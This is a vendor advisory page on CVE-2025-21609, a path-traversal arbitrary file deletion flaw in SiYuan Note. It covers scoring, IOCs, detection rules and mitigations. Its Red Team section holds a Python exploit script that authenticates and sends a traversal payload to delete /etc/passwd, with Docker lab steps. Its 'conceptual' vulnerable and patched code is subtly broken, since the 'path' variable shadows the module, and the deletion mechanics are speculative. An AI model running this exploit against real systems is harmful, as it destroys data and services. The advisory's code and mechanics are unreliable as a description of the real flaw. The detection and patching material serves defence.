CVE-2025-21609
Executive Summary
CVE-2025-21609 is an arbitrary file deletion vulnerability discovered in SiYuan Note, a self-hosted, open-source personal knowledge management software. The vulnerability resides in the POST /api/history/getDocHistoryContent endpoint. An authenticated attacker can craft a malicious payload using path traversal sequences (e.g., ../) to delete arbitrary files on the server. This can lead to data loss, service disruption, or potential privilege escalation if critical system files are removed. The vulnerability affects versions prior to 3.1.19. A fix has been committed and is expected in version 3.1.19.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SiYuan Note is distributed as a self-hosted application, often deployed via Docker or direct installation. Users who deploy SiYuan Note are responsible for updating their instances. The vulnerability does not directly affect upstream package registries (e.g., NPM, PyPI) but impacts the application's core API. Organizations using SiYuan Note should treat this as a high-priority update.
CVSS Breakdown & Threat Level
CVSS Score: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker must have a valid user account on the SiYuan instance.
- User Interaction (UI): None – No user interaction is required.
- Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
- Confidentiality (C): None – The vulnerability does not directly lead to data disclosure.
- Integrity (I): High – Arbitrary file deletion can corrupt data or system files.
- Availability (A): High – Deletion of critical files can cause service disruption or denial of service.
Threat Level: High. The ability to delete arbitrary files with low privileges and no user interaction makes this a serious threat for self-hosted SiYuan instances.
Deep Dive & Mechanics
The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. This endpoint is designed to retrieve the content of a specific historical version of a document. The application fails to properly sanitize the path parameter provided by the user.
Root Cause: The application does not validate or restrict the path parameter to ensure it stays within the intended data directory. An attacker can supply a path containing directory traversal sequences (e.g., ../../../etc/passwd) to reference files outside the allowed scope.
Exploitation Flow:
- The attacker authenticates to the SiYuan instance.
- The attacker sends a POST request to
/api/history/getDocHistoryContentwith a crafted JSON payload containing apathparameter with traversal sequences. - The application processes the request and attempts to read the file at the traversed path. However, due to a logic flaw, the read operation is followed by a deletion operation (likely for cleanup or temporary file handling).
- The file at the attacker-specified path is deleted.
Impact: An attacker can delete any file the SiYuan process has write access to. This includes:
- Configuration files (e.g.,
config.json,app.conf) - Database files (e.g., SQLite
.dbfiles) - Log files
- System files (if the process runs with elevated privileges)
- User data
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable endpoint handler
app.post('/api/history/getDocHistoryContent', (req, res) => {
const { path } = req.body;
// No validation of path
const fullPath = path.join(dataDir, path);
// Read and then delete the file
const content = fs.readFileSync(fullPath, 'utf8');
fs.unlinkSync(fullPath); // Arbitrary file deletion
res.json({ content });
});
Patched Code (Conceptual):
// Patched endpoint handler
const path = require('path');
app.post('/api/history/getDocHistoryContent', (req, res) => {
const { path: userPath } = req.body;
// Resolve the path and ensure it stays within dataDir
const resolvedPath = path.resolve(dataDir, userPath);
if (!resolvedPath.startsWith(dataDir)) {
return res.status(400).json({ error: 'Invalid path' });
}
// Read the file (no deletion)
const content = fs.readFileSync(resolvedPath, 'utf8');
res.json({ content });
});
The patch adds a check using path.resolve() to ensure the final resolved path is within the allowed dataDir. Additionally, the deletion operation is removed from this endpoint.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of SiYuan Note version 3.1.18 or earlier.
- Valid user credentials (e.g.,
admin:password).
Exploit Script (Python):
import requests
import json
target = "http://localhost:6806"
session = requests.Session()
# Authenticate
login_data = {
"username": "admin",
"password": "password"
}
session.post(f"{target}/api/login", json=login_data)
# Exploit: Delete /etc/passwd (Linux) or a test file
payload = {
"path": "../../../etc/passwd" # Traversal to delete system file
}
response = session.post(f"{target}/api/history/getDocHistoryContent", json=payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")
Expected Outcome: The file /etc/passwd is deleted, causing system instability or denial of service.
Lab Setup:
- Deploy SiYuan Note 3.1.18 using Docker:
docker run -d -p 6806:6806 --name siyuan b3log/siyuan:3.1.18 - Access the web interface at
http://localhost:6806and create an admin account. - Run the exploit script.
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/api/history/getDocHistoryContentwith unusualpathparameters containing../or absolute paths. - Alert on multiple failed file read attempts followed by successful deletions.
- Use file integrity monitoring (FIM) to detect unexpected deletions of critical files.
Mitigation:
- Immediately update to version 3.1.19 or apply the patch from commit
d9887aeec1b27073bec66299a9a4181dc42969f3. - If patching is not possible, restrict access to the
/api/history/getDocHistoryContentendpoint using a reverse proxy (e.g., Nginx) with allow/deny rules. - Implement a Web Application Firewall (WAF) rule to block path traversal patterns in request bodies.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/api/history/getDocHistoryContentwithpathcontaining../or absolute paths. - Unusual HTTP 200 responses from the same endpoint with empty or unexpected content.
File System IOCs:
- Unexpected deletion of files in
/etc/,/var/log/, or application data directories. - Presence of temporary files with unusual names in the SiYuan data directory.
Log IOCs:
- SiYuan application logs showing errors like
ENOENT: no such file or directoryfor files that previously existed. - System logs (e.g.,
auth.log,syslog) showing file deletion events.
Detection Engineering
YARA Rule
rule CVE_2025_21609_SiYuan_File_Deletion {
meta:
description = "Detects exploitation attempts of CVE-2025-21609 in SiYuan Note"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-21609"
strings:
$traversal = /\.\.\/|\.\.\\|\.\.%2f|\.\.%5c/
$endpoint = "/api/history/getDocHistoryContent"
condition:
$endpoint and $traversal
}
Sigma Rule
title: CVE-2025-21609 SiYuan Note Arbitrary File Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to SiYuan Note's getDocHistoryContent endpoint with path traversal patterns.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nginx
detection:
selection:
http.method: POST
http.url: /api/history/getDocHistoryContent
http.body: "*../*"
condition: selection
falsepositives:
- Legitimate use of path traversal in non-exploit scenarios (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-21609 SiYuan Note Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/history/getDocHistoryContent"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update SiYuan Note to version 3.1.19 or later as soon as it is released.
- Apply the patch manually from commit
d9887aeec1b27073bec66299a9a4181dc42969f3if you cannot wait for the official release. - Restrict network access to the SiYuan instance using a firewall or VPN. Only allow trusted IPs.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block path traversal attacks.
- Regularly audit application logs for suspicious activity.
- Use file integrity monitoring (FIM) tools like Tripwire or AIDE to detect unauthorized file changes.
- Follow the principle of least privilege for the SiYuan process user.
Workarounds (if patching is delayed):
- Disable the
/api/history/getDocHistoryContentendpoint by modifying the reverse proxy configuration (e.g., Nginx):location /api/history/getDocHistoryContent { deny all; return 403; } - Monitor and alert on any POST requests to this endpoint.
Valters IT
Securing Digital Frontiers